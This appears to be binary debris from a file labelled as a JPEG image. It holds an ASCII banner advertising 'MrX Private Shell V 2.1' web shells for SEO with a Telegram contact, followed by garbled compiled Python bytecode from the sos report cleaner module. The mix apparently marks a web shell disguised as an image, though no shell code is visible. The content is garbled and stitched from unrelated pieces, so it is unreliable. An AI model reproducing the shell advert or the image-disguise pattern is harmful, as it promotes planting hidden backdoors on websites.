����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
��i�^ � @ sr d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlmZ d dl m
Z
mZmZ dd� Z
G dd� d�ZdS )� N)�ProcessPoolExecutor)�file_is_binary�sos_get_command_output�file_is_certificatec C s� t �| ���}tj�|d�}tt ddd� �|_|�� D ]d}tj�||j�}tj� |�}tj� |�}tj�
||g�}||kr�td|� d|� ���|�||� q4tj�||j�
d�d �
d �d
�W d � S 1 s�0 Y d S )NZcleanerZfully_trusted_filterc S s | S �N� )�member�pathr r �A/usr/lib/python3.9/site-packages/sos/cleaner/archives/__init__.py�<lambda># � z!extract_archive.<locals>.<lambda>z"Attempted path traversal in tarflez != �/����.tarr )�tarfile�open�osr �join�getattrZextraction_filterZ
getmembers�name�abspath�commonprefix� Exception�extract�split) �archive_path�tmpdir�archiver r Zmember_pathZ
abs_directoryZ
abs_target�prefixr r r
�extract_archive s$ ���r c @ sx e Zd ZdZdZdZdZdZdZdZ i Z
dd� Zdd� Zd d
� Z
dd� Zd
d� ZdRdd�Zdd� Zedd� �Zedd� �Zedd� �Zdd� Zdd� Zdd� Zd d!� ZdSd"d#�ZdTd$d%�ZdUd&d'�ZdVd(d)�Zd*d+� Zed,d-� �Z d.d/� Z!d0d1� Z"d2d3� Z#d4d5� Z$dWd6d7�Z%d8d9� Z&d:d;� Z'd<d=� Z(d>d?� Z)d@dA� Z*dBdC� Z+dDdE� Z,dFdG� Z-dHdI� Z.dJdK� Z/dLdM� Z0dNdO� Z1dPdQ� Z2dS )X�SoSObfuscationArchivea A representation of an extracted archive or an sos archive build
directory which is used by SoSCleaner.
Each archive that needs to be obfuscated is loaded into an instance of this
class. All report-level operations should be contained within this class.
r ZundeterminedFc C s� || _ | j | _|| _| j �d�d �d�d | _| j| _t�d�| _t�d�| _ | �
� | _d| _| �
� d| _|| _|| _d | _| �d
| j � d| j� �� d S )Nr
r r r �sosZsos_uiF� r zLoaded z as type )r �final_archive_pathr r �archive_name�ui_name�loggingZ getLogger�soslog�ui_log�_load_skip_list� skip_list�is_extracted�
_load_self�archive_root�keep_binary_files�treat_certificates�parsers�log_info�description)�selfr r r. r/ r r r
�__init__C s"